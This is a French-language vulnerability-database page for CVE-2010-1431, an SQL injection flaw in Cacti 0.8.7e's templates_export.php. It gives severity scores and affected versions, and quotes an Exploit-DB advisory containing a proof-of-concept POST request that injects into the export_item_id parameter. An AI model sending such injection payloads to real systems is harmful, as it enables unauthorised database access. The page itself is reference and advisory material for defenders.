CVE-2010-1431
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Descriptions du CVE
SQL injection vulnerability in templates_export.php in Cacti 0.8.7e and earlier allows remote attackers to execute arbitrary SQL commands via the export_item_id parameter.
Informations du CVE
Faiblesses connexes
| Nom de la faiblesse | Source | |
|---|---|---|
| Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data. |
Métriques
| Métriques | Score | Gravité | CVSS Vecteur | Source |
|---|---|---|---|---|
| V2 | 7.5 | AV:N/AC:L/Au:N/C:P/I:P/A:P | [email protected] |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 12338
Date de publication : 2010-04-21 22h00 +00:00
Auteur : Nahuel Grisolia
EDB Vérifié : Yes
CVSSv2 Score: 9 (AV:N/AC:L/Au:S/C:C/I:C/A:C)
A Vulnerability has been discovered in Cacti, which can be exploited by any
user to conduct SQL Injection attacks.
Input passed via the “export_item_id” parameter to “templates_export.php”
script is not properly sanitized before being used in a SQL query.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL
code.
The following is a Proof of Concept POST request:
POST /cacti-0.8.7e/templates_export.php HTTP/1.1
Host: 192.168.1.107
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Proxy-Connection: keep-alive
Referer: http://192.168.1.107/cacti-0.8.7e/templates_export.php
Cookie: Cacti=563bb99868dfa24cc70982bf80c5c03e
Content-Type: application/x-www-form-urlencoded
Content-Length: 130
export_item_id=18 and 1=1&include_deps=on&output_format=3&export_type=graph_template&save_component_export=1&action=save&x=24&y=12
===========================================================================
Download:
===========================================================================
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/12338.pdf (Bonsai-SQL_Injection_in_Cacti.pdf)
<Bonsai Information Security Advisories>
http://www.bonsai-sec.com/en/research/vulnerability.php
Products Mentioned
Configuraton 0
Cacti>>Cacti >> Version To (including) 0.8.7e
- Cacti>>Cacti >> Version - (Open CPE detail)
- Cacti>>Cacti >> Version 0.8 (Open CPE detail)
- Cacti>>Cacti >> Version 0.8.1 (Open CPE detail)
- Cacti>>Cacti >> Version 0.8.2 (Open CPE detail)
- Cacti>>Cacti >> Version 0.8.2a (Open CPE detail)
- Cacti>>Cacti >> Version 0.8.3 (Open CPE detail)
- Cacti>>Cacti >> Version 0.8.3a (Open CPE detail)
- Cacti>>Cacti >> Version 0.8.4 (Open CPE detail)
- Cacti>>Cacti >> Version 0.8.5 (Open CPE detail)
- Cacti>>Cacti >> Version 0.8.5a (Open CPE detail)
- Cacti>>Cacti >> Version 0.8.6 (Open CPE detail)
- Cacti>>Cacti >> Version 0.8.6a (Open CPE detail)
- Cacti>>Cacti >> Version 0.8.6b (Open CPE detail)
- Cacti>>Cacti >> Version 0.8.6c (Open CPE detail)
- Cacti>>Cacti >> Version 0.8.6d (Open CPE detail)
- Cacti>>Cacti >> Version 0.8.6e (Open CPE detail)
- Cacti>>Cacti >> Version 0.8.6f (Open CPE detail)
- Cacti>>Cacti >> Version 0.8.6g (Open CPE detail)
- Cacti>>Cacti >> Version 0.8.6h (Open CPE detail)
- Cacti>>Cacti >> Version 0.8.6i (Open CPE detail)
- Cacti>>Cacti >> Version 0.8.6j (Open CPE detail)
- Cacti>>Cacti >> Version 0.8.6k (Open CPE detail)
- Cacti>>Cacti >> Version 0.8.7 (Open CPE detail)
- Cacti>>Cacti >> Version 0.8.7a (Open CPE detail)
- Cacti>>Cacti >> Version 0.8.7b (Open CPE detail)
- Cacti>>Cacti >> Version 0.8.7c (Open CPE detail)
- Cacti>>Cacti >> Version 0.8.7d (Open CPE detail)
- Cacti>>Cacti >> Version 0.8.7e (Open CPE detail)
Cacti>>Cacti >> Version 0.5
Cacti>>Cacti >> Version 0.6
Cacti>>Cacti >> Version 0.6.1
Cacti>>Cacti >> Version 0.6.2
Cacti>>Cacti >> Version 0.6.3
Cacti>>Cacti >> Version 0.6.4
Cacti>>Cacti >> Version 0.6.5
Cacti>>Cacti >> Version 0.6.6
Cacti>>Cacti >> Version 0.6.7
Cacti>>Cacti >> Version 0.6.8
Cacti>>Cacti >> Version 0.6.8a
Cacti>>Cacti >> Version 0.8
- Cacti>>Cacti >> Version 0.8 (Open CPE detail)
Cacti>>Cacti >> Version 0.8.1
- Cacti>>Cacti >> Version 0.8.1 (Open CPE detail)
Cacti>>Cacti >> Version 0.8.2
- Cacti>>Cacti >> Version 0.8.2 (Open CPE detail)
Cacti>>Cacti >> Version 0.8.2a
- Cacti>>Cacti >> Version 0.8.2a (Open CPE detail)
Cacti>>Cacti >> Version 0.8.3
- Cacti>>Cacti >> Version 0.8.3 (Open CPE detail)
Cacti>>Cacti >> Version 0.8.3a
- Cacti>>Cacti >> Version 0.8.3a (Open CPE detail)
Cacti>>Cacti >> Version 0.8.4
- Cacti>>Cacti >> Version 0.8.4 (Open CPE detail)
Cacti>>Cacti >> Version 0.8.5
- Cacti>>Cacti >> Version 0.8.5 (Open CPE detail)
Cacti>>Cacti >> Version 0.8.5a
- Cacti>>Cacti >> Version 0.8.5a (Open CPE detail)
Cacti>>Cacti >> Version 0.8.6
- Cacti>>Cacti >> Version 0.8.6 (Open CPE detail)
Cacti>>Cacti >> Version 0.8.6a
- Cacti>>Cacti >> Version 0.8.6a (Open CPE detail)
Cacti>>Cacti >> Version 0.8.6b
- Cacti>>Cacti >> Version 0.8.6b (Open CPE detail)
Cacti>>Cacti >> Version 0.8.6c
- Cacti>>Cacti >> Version 0.8.6c (Open CPE detail)
Cacti>>Cacti >> Version 0.8.6d
- Cacti>>Cacti >> Version 0.8.6d (Open CPE detail)
Cacti>>Cacti >> Version 0.8.6f
- Cacti>>Cacti >> Version 0.8.6f (Open CPE detail)
Cacti>>Cacti >> Version 0.8.6g
- Cacti>>Cacti >> Version 0.8.6g (Open CPE detail)
Cacti>>Cacti >> Version 0.8.6h
- Cacti>>Cacti >> Version 0.8.6h (Open CPE detail)
Cacti>>Cacti >> Version 0.8.6i
- Cacti>>Cacti >> Version 0.8.6i (Open CPE detail)
Cacti>>Cacti >> Version 0.8.6j
- Cacti>>Cacti >> Version 0.8.6j (Open CPE detail)
Cacti>>Cacti >> Version 0.8.6k
- Cacti>>Cacti >> Version 0.8.6k (Open CPE detail)
Cacti>>Cacti >> Version 0.8.7
- Cacti>>Cacti >> Version 0.8.7 (Open CPE detail)
Cacti>>Cacti >> Version 0.8.7a
- Cacti>>Cacti >> Version 0.8.7a (Open CPE detail)
Cacti>>Cacti >> Version 0.8.7b
- Cacti>>Cacti >> Version 0.8.7b (Open CPE detail)
Cacti>>Cacti >> Version 0.8.7c
- Cacti>>Cacti >> Version 0.8.7c (Open CPE detail)
Cacti>>Cacti >> Version 0.8.7d
- Cacti>>Cacti >> Version 0.8.7d (Open CPE detail)
Références
http://www.cacti.net/downloads/patches/0.8.7e/sql_injection_template_export.patch
Tags : x_refsource_CONFIRM
Tags : x_refsource_CONFIRM
http://lists.opensuse.org/opensuse-security-announce/2010-05/msg00001.html
Tags : vendor-advisory, x_refsource_SUSE
Tags : vendor-advisory, x_refsource_SUSE
http://www.mandriva.com/security/advisories?name=MDVSA-2010:092
Tags : vendor-advisory, x_refsource_MANDRIVA
Tags : vendor-advisory, x_refsource_MANDRIVA
2025©
tesweb SA
